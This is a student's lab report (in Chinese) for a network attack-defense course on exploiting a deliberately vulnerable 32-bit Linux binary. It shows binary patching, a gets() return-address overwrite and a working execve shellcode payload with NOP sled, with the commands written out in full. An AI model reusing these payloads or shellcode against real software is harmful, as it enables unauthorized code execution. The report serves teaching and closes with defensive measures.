20242426 2025-2026-1 《网络与系统攻防技术》实验1实验报告

[]# 20242426 2025-2026-1 《网络与系统攻防技术》 实验一实验报告

1. 基础知识

NOP、JNE、JE、JMP、CMP 等指令的机器码

下表列出本实验所涉及的32位 x86 指令形式。机器码不仅包含操作码,还可能包含寄存器编码、位移和立即数,不能仅凭一个操作码字节确定完整指令。[1]

指令 含义 常见编码形式
NOP 空操作,继续执行下一条指令 90
JNE ZF=0 时跳转,即比较结果不相等时跳转 短跳转 75 rel8;近跳转 0F 85 rel32
JE ZF=1 时跳转,即比较结果相等时跳转 短跳转 74 rel8;近跳转 0F 84 rel32
JMP 无条件跳转 短跳转 EB rel8;近相对跳转 E9 rel32;近间接跳转 FF /4
CMP 比较两个操作数,更新标志但不保存减法结果 例如 39 /r、3B /r、83 /7 ib,具体编码取决于操作数
CALL 调用函数,保存返回地址并转移执行流程 本实验使用近相对调用 E8 rel32

其中 rel8、rel32 表示有符号相对位移;/r 和 /4、/7 表示 ModR/M 字节的编码要求;ib 表示1字节立即数。

其中,近相对 CALL 是本实验的关键。操作码 E8 后面跟的4个字节不是绝对地址,而是一个有符号的相对偏移量,CPU 执行时用「下一条指令的地址」加上这个偏移量得到跳转目标。所以只要改掉这 4 个字节,就能改变 call 的去向。

反汇编与十六进制编辑

反汇编是把机器码转换为汇编指令表示的过程。本实验用 objdump -d <文件> 查看代码节的反汇编,用 xxd 查看文件的十六进制内容,再用 dd 配合 seek 参数改写指定文件偏移处的字节。[2] 虚拟地址和文件偏移属于不同坐标,修改前需要根据 ELF 节头信息换算。

栈帧结构与函数返回

32 位 x86 程序调用函数时,栈帧布局如下(以本实验的 foo 为例,缓冲区位于 ebp-0x1c):

高地址
        ┌──────────────────────┐
        │   调用者的栈帧        │
ebp+0x08├──────────────────────┤
        │   返回地址(4 字节)  │  ← ret 指令从此处取出跳转目标
ebp+0x04├──────────────────────┤
        │   保存的 EBP(4 字节)│  ← leave 指令从此处恢复 EBP
ebp+0x00├──────────────────────┤
        │   局部变量 / 缓冲区   │  ← gets 从 ebp-0x1c 开始写入
ebp-0x1c├──────────────────────┤
        │   其他局部或临时空间   │
低地址  └──────────────────────┘

函数执行 ret 时,CPU 从栈顶取出 4 字节直接当作下一条指令的地址。因此只要能往缓冲区里写入超长数据覆盖这一位置,就能控制程序的执行流——这就是缓冲区溢出(BOF)的本质。

两个与内存布局有关的概念

  • ASLR(地址空间布局随机化):由 /proc/sys/kernel/randomize_va_space 控制,2 表示开启(栈、堆、mmap 基址都随机),0 表示关闭。ASLR 开启时,不同运行中的栈地址可能发生变化,预先测得的固定地址通常不能直接复用。[6]
  • 栈可执行(GNU_STACK):用 readelf -l <文件> | grep -A1 GNU_STACK 查看,权限为 RWE 时栈可读可写可执行,注入的 shellcode 才有机会运行;若为 RW,这类直接在栈上执行注入代码的方式会受到限制。任务三需要在实验环境中确认可执行栈这一前提。

2. 实验内容

本次实验的对象是一个 Linux 32 位可执行文件 pwn20242426(原文件名为 pwn1)。该程序包含三个函数:

  • main:调用 foo
  • foo:把用户输入的字符串原样回显,内部使用 gets(),存在缓冲区溢出漏洞
  • getShell:返回一个可用的 Shell,但正常执行流程中永远不会被调用

实验分为三项,分别验证修改机器指令、覆盖返回地址和注入代码对程序执行流程的影响:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数;
  2. 利用 foo 函数的 BOF 漏洞,构造攻击输入字符串覆盖返回地址,触发 getShell;
  3. 构造包含 shellcode 的输入载荷并运行,不再依赖程序里现成的 getShell。

任务一修改磁盘上的可执行文件,任务二通过输入覆盖已有函数的返回地址,任务三进一步验证输入中的代码能否在栈上执行。

3. 实验过程

3.1 环境准备与文件命名

按实验要求,将主机名设为本人姓名拼音 yanyue,实验使用的程序、反汇编文件和输入载荷均以学号 20242426 命名。以下命令按准备顺序整理:

sudo hostnamectl set-hostname yanyue
sudo sed -i 's/\bkali\b/yanyue/g' /etc/hosts

mkdir -p ~/test && cd ~/test
mv pwn1 pwn20242426              # 原始文件(任务二、三使用,全程不改)
cp pwn20242426 pwn20242426_2     # 任务一:待打补丁的副本
chmod +x pwn20242426 pwn20242426_2
ls -l

整理后的文件列表及主机名见图1:程序和副本分别为 pwn20242426、pwn20242426_2,备份为 pwn20242426_bak。若程序已经改名,重复执行 mv pwn1 ... 会提示原文件不存在,此时应先检查文件列表。

chmod +x 用于确保本次实验中的程序具备执行权限。不能把缺少执行权限直接归因于 cp:新建副本的权限受源文件权限、umask 和默认 ACL 等因素影响;目标文件已经存在时,其原有权限通常会保留。[3]

3.2 任务一:直接修改程序机器指令

① 反汇编定位关键指令

objdump -d pwn20242426 | grep -A3 "<getShell>"
objdump -d pwn20242426 | grep -B6 "call.*<foo>"

得到两个关键地址:getShell 入口为 0x0804847d;main 中调用 foo 的指令在 0x080484b5,机器码为 e8 d7 ff ff ff。

② 计算新的跳转偏移量

call 指令长 5 字节(1 字节操作码 e8 + 4 字节偏移量),所以下一条指令在 0x080484b5 + 5 = 0x080484ba:

新偏移量 = getShell 地址 − 下一条指令地址
        = 0x0804847d − 0x080484ba
        = −0x3d = −61
验证:0x080484ba + (−61) = 0x0804847d  ✓

−61 的 32 位补码为 0xFFFFFFC3,又因 x86 采用小端存储,写入文件时字节顺序倒置为 c3 ff ff ff:

原机器码:  e8  d7 ff ff ff     (0xFFFFFFD7 = −41,指向 foo)
新机器码:  e8  c3 ff ff ff     (0xFFFFFFC3 = −61,指向 getShell)
            ▲   ▲
            │   └─ 写回这4个字节,其中只有首字节发生变化
            └─ e8 操作码保持不变

③ 用三处证据确定文件偏移

反汇编显示的是虚拟地址,而改写文件需要文件偏移。先查看 .text 节的节头信息:

objdump -h pwn20242426 | grep -E "Idx|\.text"

图1中的 .text 节 VMA 为 0x08048380,File off 为 0x00000380,二者并不相等。节内指令的文件偏移按下式换算:

文件偏移 = 指令虚拟地址 − 所在节的 VMA + 所在节的 File off
         = 0x080484b5 − 0x08048380 + 0x00000380
         = 0x4b5

因此,本文件 .text 节内可以简写为「文件偏移 = 虚拟地址 − 0x08048000」。CALL 的操作码位于 0x4b5,其后4字节位移从 0x4b6 开始。这一简写由本文件的节头信息得出,不能直接套用于其他 ELF 文件。

再用 grep -abo 独立验证字节序列在文件中的位置,并直接用 xxd 观察:

grep -abo $'\xe8\xd7\xff\xff\xff' pwn20242426    # 输出 1205 = 0x4b5
xxd -s 0x4b0 -l 16 pwn20242426                        # 0x4b5 处为 e8 d7 ff ff ff

三处证据一致后才动手改写。

④ 改写机器码并验证

printf '\xc3\xff\xff\xff' | dd of=pwn20242426_2 bs=1 seek=$((0x4b6)) count=4 conv=notrunc
xxd -s 0x4b0 -l 16 pwn20242426_2
objdump -d pwn20242426_2 | grep -B6 "call.*<getShell>"

dd 的参数含义:of= 指定写入文件;bs=1 按 1 字节粒度读写;seek 指定写入起始偏移;count=4 只写 4 字节;conv=notrunc 保证不截断文件、只覆盖目标字节。

改写后反汇编确认 call 的目标已由 foo 变为 getShell:

080484b5:  e8 c3 ff ff ff    call   804847d <getShell>

20242426_图01_任务一文件命名及改写验证
图1 文件名包含学号,主机名为 yanyue;通过节头、字节查找和 xxd 定位,再改写 CALL 并验证 Shell 命令执行

⑤ 运行验证

./pwn20242426_2
whoami          # 回显 kali
id              # uid=1000(kali) ...
pwd             # /home/kali/test
exit

运行修改后的副本时,main 直接调用 getShell,随后 Shell 能执行 whoami、id 和 pwd。本次操作写回了4字节相对位移,其中只有 d7 改为 c3,另外3字节仍为 ff。

3.3 任务二:构造输入参数造成 BOF 攻击

① 反汇编分析栈布局

objdump -d pwn20242426 > dis20242426.txt
grep -n -A14 "<foo>:" dis20242426.txt

foo 函数的关键汇编如下:

08048491 <foo>:
 8048491:  55                 push   %ebp
 8048492:  89 e5              mov    %esp,%ebp
 8048494:  83 ec 38           sub    $0x38,%esp        ← 为当前栈帧分配空间,不能直接作为缓冲区大小
 8048497:  8d 45 e4           lea    -0x1c(%ebp),%eax  ← 缓冲区起点
 804849a:  89 04 24           mov    %eax,(%esp)
 804849d:  e8 8e fe ff ff     call   8048330 <gets@plt> ← 无长度检查
 80484a2:  8d 45 e4           lea    -0x1c(%ebp),%eax
 80484a5:  89 04 24           mov    %eax,(%esp)
 80484a8:  e8 93 fe ff ff     call   8048340 <puts@plt>
 80484ad:  c9                 leave
 80484ae:  c3                 ret               ← 从栈上取返回地址

sub $0x38,%esp 为当前栈帧分配56字节空间,其中可能包括局部变量、临时空间、调用参数和对齐填充,不能把它直接当作缓冲区长度。lea -0x1c(%ebp),%eax 表明传给 gets 的缓冲区首地址为 ebp-0x1c,但仅凭这一条指令也不能还原源代码中数组的实际大小。

返回地址槽位位于 ebp+4,因此从缓冲区首地址到返回地址的距离为:

偏移 = (ebp + 4) − (ebp − 0x1c)
     = 0x1c + 4 = 32 字节

这一偏移还需要通过下面的 gdb 实测验证。

② 用可辨识字符串验证偏移量

先用 4 组可辨识字符构造测试输入,验证第 33~36 字节是否正好落在返回地址上:

perl -e 'print "AAAAAAAA"."BBBBBBBB"."CCCCCCCC"."DDDDDDDD"."1234"' > input20242426_test
wc -c input20242426_test      # 36
xxd input20242426_test | tail -3

gdb ./pwn20242426
(gdb) run < input20242426_test
(gdb) info registers eip esp ebp

实测结果:

eip   0x34333231    ← ASCII 的 "1234"(小端 31 32 33 34)
ebp   0x44444444    ← ASCII 的 "DDDD",即保存的 EBP 被覆盖

20242426_图02_任务二偏移量验证
图2 36字节测试输入使 eip 变为 0x34333231,验证返回地址偏移为32字节

eip 的值对应第33~36字节的 "1234",与32字节偏移的计算一致,说明本程序的返回地址可被这段输入覆盖。

③ 构造攻击载荷并验证跳转

把末尾的 "1234" 替换为 getShell 的入口地址 0x0804847d,小端写作 \x7d\x84\x04\x08:

perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"' > input20242426
wc -c input20242426                 # 36
xxd input20242426 | tail -2         # 末尾为 7d84 0408

在 foo 的 ret 指令(0x80484ae)处下断点,观察 ret 执行前后 eip 的变化:

gdb ./pwn20242426
(gdb) break *0x80484ae
(gdb) run < input20242426
(gdb) x/16x $esp
(gdb) si
(gdb) info registers eip
(gdb) x/4i $eip

断点处 esp 指向的 4 字节正是我们写入的 0x0804847d;单步执行 ret 后 eip 变为 0x0804847d,成功跳入 getShell:

(gdb) x/16x $esp
0xffffcf0c:  0x0804847d  0xffffd100  ...      ← esp 首字即 getShell 地址

(gdb) si
0x0804847d in getShell ()

(gdb) info registers eip
eip   0x804847d  <getShell>

(gdb) x/4i $eip
=> 0x804847d <getShell>:      push   %ebp
   0x804847e <getShell+1>:    mov    %esp,%ebp
   0x8048480 <getShell+3>:    sub    $0x18,%esp
   0x8048483 <getShell+6>:    movl   $0x8048560,(%esp)

20242426_图03_任务二ret跳转getShell
图3 ret 执行前 esp 首字为 0x0804847d;单步后 eip 指向 getShell

任务二使用未打补丁的 pwn20242426,通过36字节输入覆盖返回地址。图3中的单步结果验证了程序已跳入 getShell;该截图记录的是函数入口处的执行状态,没有展示这一任务的后续 Shell 命令输出。

3.4 任务三:注入 Shellcode 并执行

① 关闭 ASLR 并确认可执行栈

sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space      # 必须回显 0
readelf -l pwn20242426 | grep -A1 GNU_STACK  # 需为 RWE

本实验的 pwn20242426 其 GNU_STACK 本来就是 RWE,因此不需要额外用 execstack -s 打开栈可执行。

执行设置后,应以 cat 的结果确认 ASLR 状态为 0。出现 sudo 密码提示只表示需要认证,不能单凭这一提示判断命令是否执行成功;本实验早期排查时,读取到的状态仍为 2,因此需要重新完成设置并复查(见第4节问题6)。

② 准备 shellcode

本实验载荷使用25字节的32位 x86 shellcode。它构造路径 /bin//sh 和参数数组 argv = {"/bin//sh", NULL},再执行 execve("/bin//sh", argv, NULL)。因此,第二个参数不是空指针。[5] 各字节的含义如下:

机器码 汇编 作用
31 c0 xor %eax,%eax eax 清零
50 push %eax 压入字符串结束符
68 2f 2f 73 68 push $0x68732f2f 入栈 "//sh"
68 2f 62 69 6e push $0x6e69622f 入栈 "/bin"
89 e3 mov %esp,%ebx ebx 指向 /bin//sh
50 53 push %eax; push %ebx 构造 argv 数组
89 e1 mov %esp,%ecx ecx 指向 argv
31 d2 xor %edx,%edx edx 清零
b0 0b mov $0xb,%al eax = 11(execve 系统调用号)
cd 80 int $0x80 触发系统调用

③ 用探针载荷测出真实栈地址

探针载荷由6字节 NOP、25字节 shellcode 和4字节占位数据组成。结尾不加换行,同时通过下面的 sleep 600 保持管道写端打开;在既没有换行也没有 EOF 的条件下,gets 会等待更多输入,便于附加 gdb 查看 foo 的栈帧。[4] 这35字节探针用于测量地址,不是最终攻击载荷。

printf '\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x01\x02\x03\x04' > probe20242426
wc -c probe20242426      # 35 = 6(NOP) + 25(shellcode) + 4(占位数据)

在终端 A 中让程序阻塞:

(cat probe20242426; sleep 600) | ./pwn20242426

在新终端 B 中附加并读取 foo 的真实栈帧:

ps -ef | grep [p]wn20242426
sudo gdb -q -p <PID>
(gdb) bt
(gdb) frame 10              # 本次 bt 中 foo 是第10帧,其他运行应以 bt 为准
(gdb) info registers ebp
(gdb) x/12x $ebp-0x1c

20242426_图04_任务三定位真实ebp
图4的 bt 输出中,foo 位于第10帧,前面的帧与 gets 的输入读取过程有关。切到 foo 所在帧后读得:

ebp = 0xffffcf48

应根据 bt 中的函数名选择 foo,而不是固定使用第2帧或第10帧。图4中的第2帧属于 libc,不能用它的 ebp 计算 foo 的缓冲区地址。

图4 附加实际运行进程,选择 foo 所在的第10帧,读得 ebp 为 0xffffcf48

④ 计算 shellcode 地址并构造最终载荷

缓冲区起点 = ebp − 0x1c = 0xffffcf2c,返回地址槽位 = ebp + 4 = 0xffffcf4c。

最终载荷结构为 填充 + 返回地址 + NOP 滑板 + shellcode + 换行:

┌──────────────┬──────────────┬───────────────┬────────────┬────────┐
│  填充 32 字节 │ 返回地址 4B   │ NOP 滑板 200B │ shellcode  │ 换行   │
│   \x90 × 32  │ 0xffffcfb4   │  \x90 × 200   │  25 字节   │ \x0a   │
└──────────────┴──────────────┴───────────────┴────────────┴────────┘
总长 262 = 32 + 4 + 200 + 25 + 1

200字节 NOP 区域的地址范围为 ebp+8 至 ebp+207。选取的返回地址 ebp+108 = 0xffffcfb4 位于滑板中部,距起点100字节,距最后一个 NOP 为99字节。落在这段 NOP 区域中的执行地址会继续前进到 shellcode;这种安排增加了对小幅地址偏差的容忍,但不能保证载荷适用于其他启动环境。

perl -e 'print "\x90" x 32 . "\xb4\xcf\xff\xff" . "\x90" x 200 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x0a"' > input_shellcode20242426
wc -c input_shellcode20242426      # 262

⑤ 发起攻击

本实验使用 (cat 载荷; cat) | ./程序:前一个 cat 发送载荷,后一个 cat 继续转发终端输入,使新启动的 Shell 能读取后续命令。若仅从已耗尽的文件读取,Shell 可能在遇到 EOF 后立即退出。

(cat input_shellcode20242426; cat) | ./pwn20242426
whoami
echo $0
id
exit

20242426_图05_任务三命令执行结果
图5记录了载荷输入后执行命令的结果,与 shellcode 启动 Shell 的预期一致:

whoami    → kali
echo $0   → /bin//sh
id        → uid=1000(kali) gid=1000(kali) groups=...

echo $0 返回的 /bin//sh 与 shellcode 中拼接的路径一致,whoami 和 id 则表明后续命令得到了执行。结合图5中的载荷和运行过程,这些结果支持本次注入执行成功的判断;仅凭 $0 的字符串本身,不能唯一证明具体机器指令的执行路径。

4. 问题及解决方案

问题 1:复制文件后无法执行,提示「权限不够」

  • 现象:cp pwn20242426 pwn20242426_2 之后执行 ./pwn20242426_2 报 zsh: 权限不够。
  • 分析:出现这一提示时,应检查副本的执行权限及文件系统挂载选项。不能仅凭复制操作认定 cp 默认移除了执行位;本报告未记录当时完整的权限和挂载信息,因此不进一步断定具体原因。[3]
  • 解决方案:用 ls -l 检查权限,执行 chmod +x pwn20242426_2 后再次运行。若仍提示权限不足,再检查其他执行限制。

问题 2:虚拟地址与文件偏移容易混淆

  • 现象:按「虚拟地址 − 0x08048000」推算 call 指令位于文件偏移 0x4b5,但用 xxd 观察时一度对不上,人工数十六进制转储的列位置也很容易数错。
  • 原因:反汇编地址和文件偏移不是同一个数值,需要查看 ELF 节头中的 VMA 与 File off;人工读取 xxd 的列位置也容易出错。
  • 解决方案:本文件 .text 节的 VMA 为 0x08048380,File off 为 0x380。按「指令地址 − 节VMA + 节文件偏移」得到 0x4b5,再用 grep -abo 得到的 1205 和 xxd 内容交叉验证。

问题 3:安装 gdb 失败,提示网络不可达

  • 现象:sudo apt install gdb 报「无法下载 libsource-highlight-common,无法发起与 mirrors.neusoft.edu.cn:80 的连接,网络不可达」。
  • 分析:报错说明软件包下载连接失败,可能与镜像站、网络连通性或 IPv4/IPv6 路由有关,仅凭这段提示不足以确定是 IPv6 导致。
  • 解决方案:检查虚拟机网络和软件源,必要时更换可访问的镜像并重新 apt update。sudo apt install -y --no-install-recommends gdb 只会排除推荐包,不能跳过必需依赖;如果失败的软件包属于必需依赖,仍需修复下载问题。[9]

问题 4:gdb 中测得的栈地址与真实运行不一致

  • 现象:最初用 gdb ./pwn20242426 加 run 的方式下断点,读到的 ebp 与真实运行时的值不符,据此算出的返回地址反复失败。
  • 分析:在 gdb 内启动程序与从终端启动程序,其环境、参数和随机化设置可能不同。gdb 启动的程序会继承其环境,且在支持的平台上默认尝试关闭地址随机化。具体地址差异不能仅归因于 LINES、COLUMNS 两个变量,也不能断定移动方向。[7][8]
  • 解决方案:改用「附加真实进程」的方式——在一个终端用 (cat probe20242426; sleep 600) | ./pwn20242426 让程序阻塞在 gets(),在另一个终端用 sudo gdb -q -p <PID> 附加,通过 bt 找到 foo 所在帧,再读取其 ebp。本次截图中 foo 为第10帧,其他运行应重新检查帧号。

问题 5:直接运行看不到 shell

  • 现象:用 ./pwn20242426 < 载荷 的方式运行时,程序只回显载荷后即退出,看不到 Shell。
  • 原因:gets 遇到换行或 EOF 都会结束读取。普通文件即使末尾没有换行,也能在文件结束时返回;没有换行且管道写端保持打开时才会继续等待。文件重定向还会使新启动的 Shell 继承已耗尽的输入流,从而可能很快退出。[4]
  • 解决方案:在本实验的管道输入中,用末尾的 \x0a 结束 gets 的读取,再用 (cat input_shellcode20242426; cat) | ./pwn20242426 保持后续命令输入。

问题 6:ASLR 未真正关闭导致攻击持续失败

  • 现象:任务三早期尝试时,程序打印载荷后报 segmentation fault。随后在原终端执行 echo $0 得到 /usr/bin/zsh,未观察到预期的 Shell 命令输出;反复更换返回地址也未解决这一问题。
  • 分析:读取 /proc/sys/kernel/randomize_va_space 时仍回显 2,说明当时尚未关闭 ASLR;sudo 密码提示本身不能说明命令最终是否生效。开启随机化时,之前测量的栈地址通常不能直接用于下一次运行。[6]
  • 解决方案:确认 sudo 密码输入完成后,再次执行 sudo sysctl -w kernel.randomize_va_space=0,并用 cat /proc/sys/kernel/randomize_va_space 确认回显为 0,然后重新测量 ebp、重新构造载荷,随后获得图5中的命令输出。这一步说明,关键配置应通过读取实际状态来确认。

问题 7:修改主机名后 sudo 报「无法解析主机」

  • 现象:hostnamectl set-hostname yanyue 之后,每次执行 sudo 都会出现 sudo: 无法解析主机: yanyue: 域名解析出现暂时性错误。
  • 原因:主机名改了,但 /etc/hosts 中没有与新主机名对应的记录,sudo 解析自身主机名时失败。
  • 解决方案:检查 /etc/hosts 中的本地主机映射,将相应记录改为 127.0.1.1 yanyue,避免重复追加相同记录,再次执行 sudo 检查提示是否消失。

5. 学习感悟、思考等

任务一让我把汇编指令、机器码和文件偏移联系起来。CALL 后面的4字节是相对位移,不是目标地址;写入前还必须把反汇编地址换算为文件偏移。本次写回 c3 ff ff ff 后,实际只有 d7 变为 c3,调用目标就由 foo 变为 getShell。相比只记住修改命令,先计算再用反汇编验证更能说明修改是否正确。

任务二让我理解了返回地址覆盖的过程。sub $0x38,%esp 不能直接用来确定输入偏移,应比较缓冲区首地址 ebp-0x1c 与返回地址槽位 ebp+4。输入末尾的 1234 使 eip 变为 0x34333231,把32字节的偏移计算与实际寄存器状态对应起来;随后替换这4字节,单步执行 ret 就进入了 getShell。

任务三花了更多时间在环境排查上。早期失败时,我检查到 ASLR 状态仍为 2,重新设置并确认回显为 0 后,再附加实际运行的进程测量 foo 的 ebp。这个过程提醒我,敲入命令和确认配置生效是两件事;调试器内外的启动条件也应分别核对。最终的 /bin//sh 和命令输出与载荷预期一致,但报告中仍应把观察到的结果和据此作出的判断分开写清楚。

三项任务也对应不同的防御问题。任务一依赖对磁盘可执行文件的写权限,应通过文件权限和完整性检查限制未经授权的修改;Canary、NX 和 ASLR 不能直接阻止这种文件补丁。对于任务二、三,边界检查能从输入写入处避免越界,Canary 可检测部分栈破坏,NX 可限制在栈上执行代码,ASLR 可增加固定地址利用的难度。[6][10] 本报告没有记录原程序的编译命令,因此不把“主动关闭了 Canary”作为已验证的实验步骤。使用 fgets 等函数时,也需要传入与实际缓冲区匹配的长度,并处理输入截断等情况。

参考资料

  1. Intel. Intel® 64 and IA-32 Architectures Software Developer’s Manuals,Volume 2:指令参考.
  2. GNU Binutils. objdump 手册.
  3. GNU Coreutils. cp:Copy files and directories
  4. Linux man-pages. gets(3):读取至换行或文件结束.
  5. Linux man-pages. execve(2):执行程序及参数数组.
  6. Linux Kernel Documentation. randomize_va_space.
  7. GDB. Your Program’s Environment.
  8. GDB. Starting Your Program:disable-randomization.
  9. Debian APT. apt-get(8):--no-install-recommends.
  10. GCC. Instrumentation Options:栈保护选项.
  11. 《网络与系统攻防技术》实验指导书,0x11 逆向与 Bof 基础(课程资料)。
  12. Exploit-DB. Shellcode 库(公开示例检索入口)。
posted @ 2026-10-12 00:09  北风九月兮  阅读(5)  评论(0)    收藏  举报